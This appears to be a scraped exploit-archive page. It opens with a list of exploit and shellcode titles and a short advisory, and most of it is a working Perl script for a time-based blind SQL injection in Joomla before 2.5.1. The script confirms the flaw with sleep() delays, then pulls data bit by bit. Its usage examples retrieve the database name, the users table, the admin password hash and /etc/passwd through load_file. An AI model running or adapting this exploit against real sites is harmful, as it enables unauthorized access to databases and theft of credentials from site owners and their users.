
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
125 lines
No EOL
3.5 KiB
Perl
Executable file
125 lines
No EOL
3.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/52312/info
|
|
|
|
Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
#!/usr/bin/perl
|
|
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
|
|
# www.securitybydefault.com
|
|
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
|
|
#
|
|
# using sleep() and not benchmark(), change for < mysql 5.0.12
|
|
#
|
|
# 1.- Database name: database()
|
|
# 2.- Users data table name: (change 'joomla' for database() result)
|
|
# select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
|
|
# 3.- Admin password: (change zzz_users from previus sql query result)
|
|
# select password from zzzz_users limit 1
|
|
|
|
|
|
|
|
use strict;
|
|
use LWP::UserAgent;
|
|
$| = 1;
|
|
|
|
|
|
my $url = $ARGV[0];
|
|
my $wtime = $ARGV[1];
|
|
my $sql = $ARGV[2];
|
|
|
|
unless ($ARGV[2]) {
|
|
print "$0 <url> <wait time> <sql>\n";
|
|
print "\texamples:\n";
|
|
print "\t get admin password:\n";
|
|
print "\t\t$0 http://host/joomla/ 3 'database()'\n";
|
|
print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
|
|
print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
|
|
print "\t get file /etc/passwd\n";
|
|
print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
|
|
exit 1;
|
|
}
|
|
|
|
my ($len,$sqldata);
|
|
|
|
my $ua = LWP::UserAgent->new;
|
|
$ua->timeout(60);
|
|
$ua->env_proxy;
|
|
|
|
my $stime = time();
|
|
my $res = $ua->get($url);
|
|
my $etime = time();
|
|
my $regrtt = $etime - $stime;
|
|
print "rtt: $regrtt secs\n";
|
|
print "vuln?: ";
|
|
|
|
my $sleep = $regrtt + $wtime;
|
|
$stime = time();
|
|
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
|
|
$etime = time();
|
|
my $rtt = $etime - $stime;
|
|
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
|
|
|
|
|
|
my $lenoflen;
|
|
sub len {
|
|
# length of length
|
|
for (1..5) {
|
|
my $sql=$_[0];
|
|
$stime = time();
|
|
$res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
|
|
$etime = time();
|
|
my $rtt = $etime - $stime;
|
|
if ($rtt >= $regrtt + $wtime) {
|
|
$lenoflen = $_;
|
|
last;
|
|
}
|
|
}
|
|
for (1..$lenoflen) {
|
|
my $ll;
|
|
$ll=$_;
|
|
for (0..9) {
|
|
my $sql=$_[0];
|
|
$stime = time();
|
|
$res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
|
|
$etime = time();
|
|
my $rtt = $etime - $stime;
|
|
if ($rtt >= $regrtt + $wtime) {
|
|
$len .= $_;
|
|
}
|
|
}
|
|
}
|
|
return $len;
|
|
|
|
}
|
|
|
|
sub data {
|
|
my $sql = $_[0];
|
|
my $len = $_[1];
|
|
my ($bit, $str, @byte);
|
|
my $high = 128;
|
|
|
|
for (1..$len) {
|
|
my $c=8;
|
|
@byte="";
|
|
my $a=$_;
|
|
for ($bit=1;$bit<=$high;$bit*=2) {
|
|
$stime = time();
|
|
# select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
|
|
$res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
|
|
$etime = time();
|
|
my $rtt = $etime - $stime;
|
|
if ($rtt >= $regrtt + $wtime) {
|
|
$byte[$c]="0";
|
|
} else { $byte[$c]="1"; }
|
|
$c--;
|
|
}
|
|
$str = join("",@byte);
|
|
print pack("B*","$str");
|
|
}
|
|
}
|
|
|
|
$len = len($sql);
|
|
print "$sql length: $len\n";
|
|
print "$sql data:\n\n";
|
|
data($sql,$len); |